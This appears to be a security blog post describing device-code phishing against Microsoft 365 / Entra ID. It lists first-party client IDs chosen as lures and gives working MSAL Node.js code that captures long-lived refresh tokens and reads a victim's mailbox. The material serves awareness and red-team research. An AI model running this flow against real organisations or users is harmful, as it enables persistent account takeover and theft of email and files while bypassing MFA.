The OAuth Device Authorization Flow (RFC 8628) is not inherently malicious. It is designed to enable authentication on devices with limited input capabilities, such as smart TVs, Command Line Interface (CLI) tools, or IoT devices.
However, improper or overly permissive implementations of this flow can introduce significant security risks. When recommended mitigations are not strictly enforced, the flow can be abused in phishing and token theft scenarios.
This risk is explicitly documented in RFC 8628, Section 5.4, which describes remote phishing attacks where an attacker tricks a user into authenticating a device they do not control. This article explores how this risk manifests in Microsoft 365 / Entra ID environments, based on research performed while simulating a phishing campaign using OAuth Device Login.
While analyzing Microsoft 365 device login flows during a simulated engagement, I focused on how legitimate Microsoft applications can be abused to obtain long-lived refresh tokens (valid for up to 90 days).
I observed that the OAuth Device Authorization flow can succeed even in highly restricted tenant configurations, including environments with strict Conditional Access policies.
If abused successfully, this flow allows an attacker to:
Depending on tenant configuration, OAuth Device Authorization may bypass or weaken:
The attacker first identifies the Tenant ID for the target organization. This information is public and can be retrieved via the OpenID configuration endpoint:
https://login.microsoftonline.com/{DOMAINNAME}.well-known/openid-configuration
The attacker selects a Client ID from an Entra ID–registered application that supports device login. The most effective targets are first-party Microsoft applications with broad permissions:
{ClientID='00b41c95-dab0-4487-9791-b9d2c32c80f2'; App='Office 365 Management'}
{ClientID='04b07795-8ddb-461a-bbee-02f9e1bf7b46'; App='Microsoft Azure CLI'}
{ClientID='0ec893e0-5785-4de6-99da-4ed124e5296c'; App='Office UWP PWA'}
{ClientID='18fbca16-2224-45f6-85b0-f7bf2b39b3f3'; App='Microsoft Docs'}One particularly interesting client ID commonly used for Office authentication is:
d3590ed6-52b3-4102-aeff-aad2292ab01cUsing a legitimate Microsoft application significantly reduces the likelihood of the authentication request being blocked or raising suspicion.
By using the Microsoft Authentication Library (MSAL) for Node.js, we can create a script that generates a device code and saves the resulting session to a persistent file (ms_tokens.json).
const msal = require('@azure/msal-node');
const fs = require('fs');
const path = require('path');
require('dotenv').config();
const TENANT_ID = process.env.TENANT_ID;
const CLIENT_ID = process.env.CLIENT_ID;
const TOKEN_CACHE_PATH = path.join(__dirname, "ms_tokens.json");
const cachePlugin = {
beforeCacheAccess: async (ctx) => {
if (fs.existsSync(TOKEN_CACHE_PATH)) {
ctx.tokenCache.deserialize(fs.readFileSync(TOKEN_CACHE_PATH, "utf-8"));
}
},
afterCacheAccess: async (ctx) => {
if (ctx.cacheHasChanged) {
fs.writeFileSync(TOKEN_CACHE_PATH, ctx.tokenCache.serialize());
}
}
};
const pca = new msal.PublicClientApplication({
auth: {
clientId: CLIENT_ID,
authority: `https://login.microsoftonline.com/${TENANT_ID || 'common'}`
},
cache: { cachePlugin }
});async function getAccessToken() {
const accounts = await pca.getTokenCache().getAllAccounts();
const result = await pca.acquireTokenSilent({
account: accounts[0],
scopes: ["https://graph.microsoft.com/.default"]
});
return result.accessToken;
}
async function initiateLogin() {
const deviceCodeRequest = {
scopes: ["https://graph.microsoft.com/.default", "offline_access"],
deviceCodeCallback: (info) => console.log(info.message)
};
const result = await pca.acquireTokenByDeviceCode(deviceCodeRequest);
return result.accessToken;
}
module.exports = { getAccessToken, initiateLogin };
In the main script we can use the module exports:
async function getAuthenticatedClient() {
const accounts = await pca.getTokenCache().getAllAccounts();
if (accounts.length > 0) {
const token = await getAccessToken();
return Client.init({ authProvider: (done) => done(null, token) });
} console.log("\n🔑 No active session found. Starting Device Code login...");
const token = await initiateLogin();
return Client.init({ authProvider: (done) => done(null, token) });
}
async function getEmails() {
console.log("\n📩 Fetching 10 Most Recent Emails...");
const client = await getAuthenticatedClient();
const response = await client.api('/me/messages')
.select('subject,from,receivedDateTime')
.top(10)
.get();
console.table(response.value.map(m => ({
From: m.from?.emailAddress?.name || "Unknown",
Subject: m.subject,
Received: new Date(m.receivedDateTime).toLocaleString()
})));
}
Attacker starts the script.
Join Medium for free to get updates from this writer.
At this stage, Microsoft generates a short-lived device code and presents a Microsoft-controlled URL where the user can authenticate. The code is typically valid for around 15 minutes, which is a relatively small window but still sufficient for delivery in a phishing scenario.
Press enter or click to view image in full size
From the user’s perspective, the experience appears entirely legitimate. They are directed to a Microsoft login page hosted on a trusted domain and asked to enter a short code.
After entering the code, they proceed through the standard Microsoft authentication flow, including any password or multi-factor authentication challenges required by the tenant.
Once authentication is completed, Microsoft displays a confirmation screen indicating that the sign-in was successful. At no point does the user interact with attacker-controlled infrastructure, which makes the attack particularly difficult to distinguish from normal activity.
After the user completes authentication, the attacker’s application receives tokens through the device authorization flow. Most notably, this includes a refresh token that may be valid for up to 90 days. Because this is a rolling refresh token, it can be continuously renewed, allowing access to persist indefinitely unless explicit remediation steps are taken.
Press enter or click to view image in full size
The permissions associated with the token depend on the application used. In the case of Microsoft Office, this can include broad access to Microsoft Graph, such as reading and writing emails, accessing calendars, and interacting with files stored in OneDrive or SharePoint.
What makes this particularly dangerous is that no credentials are stolen, no malware is deployed, and no suspicious URLs are used. The entire interaction occurs within Microsoft’s authentication ecosystem.
Press enter or click to view image in full size
The practical impact of this attack is long-term, low-noise access to Microsoft 365 resources. Because authentication happens through legitimate channels and trusted applications, detection is difficult unless organizations are explicitly monitoring device login events and token issuance patterns.
In some environments, Conditional Access policies such as device compliance or location-based restrictions may not be enforced in the way administrators expect for device code flows. As a result, access may be granted even when interactive browser logins would otherwise be blocked.